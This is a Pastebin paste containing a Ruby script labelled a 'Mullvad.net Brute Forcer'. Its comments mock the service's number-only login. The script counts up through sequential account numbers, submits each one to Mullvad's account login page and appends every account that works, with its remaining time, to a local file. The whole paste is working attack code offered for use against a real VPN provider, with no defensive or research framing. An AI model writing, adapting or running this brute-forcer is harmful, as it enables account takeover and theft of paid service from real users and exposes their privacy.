Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Mullvad.net Supposedly is safe and secure.
- #However their login method is fairly stupid.
- #All you need is an account number.
- #This will brute force account numbers and print to file any accounts found with data
- #If in windows download a CAcert to this location and set it by running this in cmd
- #set SSL_CERT_FILE=C:\Ruby200\cacert.pem
- #Mullvad.net Brute Forcer
- require 'open-uri'
- require 'net/http'
- require 'openssl'
- #set SSL_CERT_FILE=C:\Ruby200\cacert.pem
- def page_data(page, data)
- puts 'Successful Login'
- puts ''
- #puts "#{page}"
- page.gsub!(/\s/, '').gsub!(/\n/, '') #kill spaces and new lines
- #puts page
- time = page.match(/Timeleft:<.strong>(.)<.p>/) #prints what you need, plus bullshit in front
- #time.gsub!(/.*g>/, '')
- puts time
- write = File.open('mullvad.txt', 'a')
- write.puts "Account: #{data} #{time}\n"
- end
- data = "200875416016"
- attempts = "0"
- loop do
- uri = URI.parse('https://mullvad.net')
- http = Net::HTTP.new( uri.host, uri.port )
- http.use_ssl = (uri.scheme == 'https')
- data = data.next
- attempts = attempts.next
- puts "Attempted Account: #{data}"
- request = Net::HTTP::Post.new( "/en/account/" )
- request.set_form_data({'account' => "#{data}"})
- response = http.request( request )
- page = response.body.to_s
- puts "Attempts #{attempts}"
- puts ""
- puts "Failed Login" if page =~ /Not logged in/
- puts page_data(page, data) if page =~ /Ports/
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement